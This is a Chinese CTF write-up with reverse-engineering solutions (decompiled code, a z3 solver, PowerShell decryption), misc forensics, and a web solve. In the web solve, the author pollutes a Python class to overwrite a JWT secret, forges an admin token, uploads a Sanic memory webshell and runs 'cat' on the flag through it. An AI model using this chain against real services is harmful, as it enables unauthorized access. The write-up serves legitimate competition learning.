        v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & v15[0] & (v15[1] == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD*)v15 == 0LL) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0);
        v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15[0] | v15[1]) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[1] & (v15[0] == 0) & (v13 == 0) & (v6 == 0) | v2;
        if (!((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0)))
            v17 = 0;
    }
    return v17;
}
void byteToBinaryString(unsigned char byte, unsigned int* binaryArray) {
    int i;
    for (i = 7; i >= 0; i--) {
        binaryArray[7 - i] = ((byte & (1 << i)) ? 1 : 0);
    }
}
int main()
{
    std::cout << "Hello World!\n";
    for (unsigned int i = 0; i < 0xff; i++)
    {
        unsigned int binary[12];
        binary[8] = 1;
        binary[9] = 1;
        binary[10] = 1;
        binary[11] = 1;

        byteToBinaryString(i, binary);
        if (check((uint64)binary))
        {
            printf("%x", i);
        }

    }
}
>> > from Crypto.Cipher import AES
>> > c = bytes.fromhex("128fecc28504b24c5bba4acf11360a48")
>> > key = bytes.fromhex("3577402ECCA44A3F9AB72182F9B01F35")
>> > aes = AES.new(key = key, mode = AES.MODE_ECB)
>> > m = aes.decrypt(c)
>> > m.hex()
'4d87ef0377bb491a80f54620245807c4'
>> >

Serv1ce

myclassVar.decode是RC4+base64,两个OnClickListener中分别调用startService和stopService

MainActivity通过intent将input传递给MyService

1-intent跳转

MyService是一个service类,经过onCreate和onStartCommand后this.num=11

可以直接拿到key,关键在于native层的check

2-MyService

check逐字节加密并比较

3-check

根据条件z3嗦flag

from z3 import *
# 已知数组 v (请根据实际情况填入 36 个已知值)
enc = [  0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB,
  0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF,
  0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B,
  0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
num = 11

# 求key
key_str = "1liIl11lIllIIl11llII"
key = bytearray(64)

for i in range(64):
    char = key_str[i % len(key_str)]
    key[i] = ((ord(char) - ord('w')) ^ 23) & 255
print("Key:",key)
# key=[173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197]

# 创建 Z3 Solver
solver = Solver()

# 创建 input 数组
input = [BitVec(f'flag{i}', 8) for i in range(36)]

# 添加约束
for i in range(36):
    tmp = (input[i] ^ key[i]) * num
    solver.add(tmp == enc[i])

# 输出flag
if solver.check() == sat:
    model = solver.model()
    result = [model[input[i]].as_long() for i in range(36)]
    # 将字节数组转换为字符串
    flag = ''.join(chr(byte) for byte in result)
    print(f"flag{{{flag}}}") # flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8}
else:
    print("No solution found.")

a_game

分析该程序 在某个函数的位置发现一个解密的功能

image-20241019220820771

控制程序走到这一段 运行后发现其会解密出一个powershell脚本并运行 将powershell脚本提取出来

可以发现采用了混淆的手法 并且使用iex执行
将iex修改为write-out打印出来

image-20241019221044137

重复以上操作多次

image-20241019221142270

最后解密出如下的代码

image-20241019221211092

逆向一下发现是嵌套了RC4以及其他的一些算法 并且从注册表中读取输入的内容
最后密文如下

image-20241019221257336

原有代码基础上写脚本逆向
enenenen1 原本以为循环加密的36次 结果在第一轮解密的时候就可能成功打印出正确结果,,

function d2 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x30, 0x77, 0x65, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = ($inputbyte[$k] - $key[$k % $key.Length]) 
    }
    return $inputbyte;
}

function d3 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x30, 0x77, 0x33, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = $inputbyte[$k] / $key[$k % $key.Length]
    }
    return $inputbyte;
}

function d1 {
    param(
        $inputbyte
    )
    $key = $inputbyte[36..40 ]
    
    $encryptedText = $inputbyte[0..35]
     Write-Host $encryptedText 
         #Write-Output  ""
         Write-Host $key
    #$encryptedText = @();
    for ($k = 0; $k -lt $encryptedText.Length ; $k++) {
       
        $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
        $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
         Write-Host $encryptedText 
         #Write-Output  ""
         Write-Host $key
    }
    Write-Output("HHHHHHHHH")
    return $encryptedText
}

$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)


#2 2 3 2 2 2 1()
$test = @(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36) 


$out = enenenenene1 -input $test
Write-Host "encrypt:"
Write-Host $out

Write-Host "decrypt:"
$out2 = d1 -input $out
#Write-Host $out2 -NoNewline

Write-Host "real decrypt:"

(d1 -input (d2 -input (d2 -input (d2 -input (d3 -input ( d2 -input (d2 -input $result)))))))

image-20241019221447755

转换一下即可 =-=


flag = [55,51,52,49,50,48,51,54,45,55,100,56,99,45,52,51,55,98,45,57,48,50,54,45,48,99,50,99,97,49,98,55,102,55,57,100]

print(flag)
print(bytes(flag))

Web

capoo

非预期,能直接读start.sh,解码出里面的flag文件名也可以直接读取

image-20241020103740741

解码即可得到flag

ez_picker

url/register

注册用户admin/admin

url/login

登录

url/upload

显示{“status”:”fail”,”message”:”Permission Denied”}

查看token

根据源码得知,把guest改为admin即可访问upload

但是需要secret_key作为修改前提

def merge(src, dst):

 for k, v in src.items():

 if hasattr(dst, '__getitem__'):

 if dst.get(k) and type(v) == dict:

 merge(v, dst.get(k))

 else:

 dst[k] = v

 elif hasattr(dst, k) and type(v) == dict:

 merge(v, getattr(dst, k))

 else:

 setattr(dst, k, v)

打python污染,进行污染secret_key

然后修改jwt

存在上传点

https://www.cnblogs.com/gxngxngxn/p/18205235

根据这篇文章去打sanic框架下的内存马

生成然后上传

发现存在过滤

去污染

污染后成功上传

/gxngxngxn?gxngxngxn=cat /tr3e_fl4g_1s_h3re_lol

得到flag

Misc

ezflag

下载附件,解压,发现流量包丢流量包工具 CTF-NET 中

发现存在flag.zip

一键分离所有文件

解压出flag.zip

但是没办法打开,拖入010中

很清晰的看见有图片头

改后缀为png

得到flag

PvZ

李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱

看到数字,图片都懒得看了,直接爆破(爆破大法好了)

先生成1-10000的数字的md5值,然后直接开爆

image

得到一张歪斜的不全的二维码和一个角上的信息

64dbfc6f48039c277b700e8b958e1be

先使用夸克进行矫正,然后利用

QQ_1729365950101

然后稍微确定一下定位符的位置,利用ppt进行拼接即可扫得到一串

image

微信扫码得到

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

结合图片名称猜测得到

image